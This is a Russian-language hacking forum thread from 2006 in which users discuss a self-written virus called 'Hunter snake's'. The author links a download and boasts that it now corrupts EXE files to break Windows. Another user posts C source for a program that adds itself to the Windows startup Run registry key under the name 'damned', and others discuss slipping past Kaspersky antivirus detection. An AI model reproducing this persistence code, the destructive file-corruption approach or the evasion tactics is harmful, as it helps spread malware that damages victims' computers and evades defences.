Новый вирус Hunter snake's

Discussion in 'Безопасность и Анонимность' started by Sn@k3, 28 Aug 2006.

  1. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    tclover, чувак над было сразу опкодами написать :D
     
  2. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    вот нормальное предложение, такс думаю проблема будет с отркытыми фафлами, а так можно и вместо ini Exe и dll спокойно валить, так что виндовс свалиться без проблем. я подумаю =)
     
  3. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    бугагага вот именно я бы тогда и сделал в реестр, так как каспер, то и палит!!!!!!! это я ещё узнал давным давно, даже когда у меня был старый каспер!

    ссыла обновилась! http://slil.ru/23069868
    Кстати теперь он портит не ini, а EXE, что естественно выведет из строя винду
     
    #23 Sn@k3, 29 Aug 2006
    Last edited: 29 Aug 2006
  4. tclover

    tclover nobody

    Joined:
    13 Dec 2005
    Messages:
    741
    Likes Received:
    682
    Reputations:
    287
    Горбатого могила исправит.
     
  5. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    tclover И не говори +)
    эй а ты чего тут делаешь? ты htnl выучил? )
     
  6. tclover

    tclover nobody

    Joined:
    13 Dec 2005
    Messages:
    741
    Likes Received:
    682
    Reputations:
    287
    Неа :( Возьми меня в ученики падшая сволоч!
     
  7. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    ээээ чего-то ты разошелся, ты так низко пал =). а чего ругаешься? мы цывилизованные люди.
     
  8. [hidden]

    [hidden] Elder - Старейшина

    Joined:
    5 Nov 2005
    Messages:
    70
    Likes Received:
    19
    Reputations:
    7
    http://webfile.ru/1080663

    Написана на языке С (Visual C), не делает ничего плохого - только заносит в реестр в ключ автозагрузки , откуда ее запустили под именем damned.
    Проверь, Sn@k3, неужто Каспер вот прямо сходу несчастную программу выпалит?
    ----------------
    #include<stdio.h>
    #include<string.h>
    #include<windows.h>

    #pragma comment(linker,"/MERGE:.rdata=.text")
    #pragma comment(linker,"/FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078")
    #pragma comment(linker,"/ENTRY:WinMain")
    #pragma comment(linker,"/NODEFAULTLIB")

    //********************************************
    int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR szCmdLine, int nCmdShow)
    {
    int nSize;
    char *file_path;
    char *buf;

    char **argv;
    DWORD argc;

    long int result;
    HKEY hKey;

    SetErrorMode(SEM_NOGPFAULTERRORBOX);

    //******************************************
    argv = CommandLineToArgvW(GetCommandLineW(), &argc);

    buf = (char *)malloc(256);
    file_path = (char *)malloc(256);

    nSize = GetCurrentDirectory(256, buf);
    buf[nSize + 1] = '\0';

    sprintf(file_path, "%s\\%ws", buf, argv[0]);
    result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey);

    // заносим в реестр .../Run под именем damned
    RegSetValueEx(hKey, "damned", 0, REG_SZ, file_path, strlen(file_path));
    RegCloseKey(hKey);

    exit(0);
    }
     
    #28 [hidden], 30 Aug 2006
    Last edited: 30 Aug 2006
  9. [loy]

    [loy] Elder - Старейшина

    Joined:
    24 Mar 2006
    Messages:
    126
    Likes Received:
    23
    Reputations:
    16
    эх блин вирь писатель хренов
    ты Че ВИрусоПисателей позориш та

    по моему статья херовая
     
  10. [loy]

    [loy] Elder - Старейшина

    Joined:
    24 Mar 2006
    Messages:
    126
    Likes Received:
    23
    Reputations:
    16
    Клевер жоош
    но кстати ты прав
    СВОЛАЧАМ падшим не чего делать на ачате

    Отжог ыыыыы пацотолом
     
  11. tclover

    tclover nobody

    Joined:
    13 Dec 2005
    Messages:
    741
    Likes Received:
    682
    Reputations:
    287
    хм... цИвилизованные правильно пишут это слово через И
     
  12. [hidden]

    [hidden] Elder - Старейшина

    Joined:
    5 Nov 2005
    Messages:
    70
    Likes Received:
    19
    Reputations:
    7
    Хм... Интересно, что на webfile.ru все файлы проверяются именно Касперским, мой откомлиленный "супертрой" свободно доступен - Касперский ничего не заподозрил.